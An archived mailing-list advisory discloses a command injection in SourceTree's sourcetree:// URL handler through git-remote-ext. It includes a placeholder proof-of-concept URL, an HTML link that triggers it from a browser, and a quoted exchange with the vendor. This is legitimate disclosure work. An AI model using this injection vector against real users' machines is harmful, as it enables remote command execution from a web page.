full-disclosure - [FD] [oss-security]Sourcetree arbitrary command execution

Open Source and information security mailing list archives

Date: Wed, 3 May 2017 12:47:47 +0000
From: 洪宇 <hongyu-s@....cn>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>,
 "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Cc: "security@...assian.com" <security@...assian.com>
Subject: [FD] [oss-security]Sourcetree arbitrary command execution

Hi there,

I would report a sourcetree arbitrary command execution

Sourcetree is a popular git gui client,and I found a command execution two month ago,
and I report to the official atlassian but the told me they have known this vulnerability internal tracker and they will fix it in next version but sourcetree has upgrade several version, this vulnerability still alive.
So I want to disclose this vulnerability and make a copy for atlassian again.

Author: redrain, hongyu-s@....cn
Date: 2017-03-02
Version:2.5c and prior
Platform: macOS, Windows, Linux Desktop
Site: https://www.sourcetreeapp.com
Vendor: Atlassian
Vendor Notified: 2017-03-02

Technical Details:
========================================

SourceTree v2.5c and prior are affected by a command injection in the handling of sourcetree:// scheme.
The cloneRepo action with ‘ext’ is base on git-remote-ext, The git team’s description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the URL.
PoC:
sourcetree://cloneRepo/ext::[command injection]
Even attacker can exploit it through the browser
<html>
<head></head>
<body>
         <a href=sourcetree://checkoutRef/ext::id>a</a>
</body>
</html>
There is a simple demo video:
https://youtu.be/SQ1_Ht-0Bdo

Other:
============================================
and there is the last bugtrack I reported:

```
Activity
Your request status changed to Resolved with resolution Tracked Elsewhere.
03/Mar/17 5:35 PMLATEST
Alexander Minozhenko
Alexander Minozhenko03/Mar/17 5:34 PM
Hi rootredrain,
Thank you for sending this notification to Atlassian. This is indeed a vulnerability and an issue has been filed on an internal tracker.
The issue is SRCTREE-4632. Unfortunately, this issue is not accessible externally, so you will not be able to monitor its progress. Feel free to check with us for updates.
redrain
redrain02/Mar/17 5:43 PM
sourcetree_vuln.7z (9.62 MB)
Details02/Mar/17 5:43 PM
Product or Service
Other
Product Version
2.4.1a and earlier
Description
SourceTree v2.4.1a and earlier are affected by a command injection in the handling of sourcetree:// scheme.
The cloneRepo action with ‘ext’ is base on git-remote-ext, The git team’s description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the URL.
PoC:
sourcetree://cloneRepo/ext::[command injection]
Even attacker can exploit it through the browser
there is a simple demo in the attachment.
```

Regards,
redrain

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives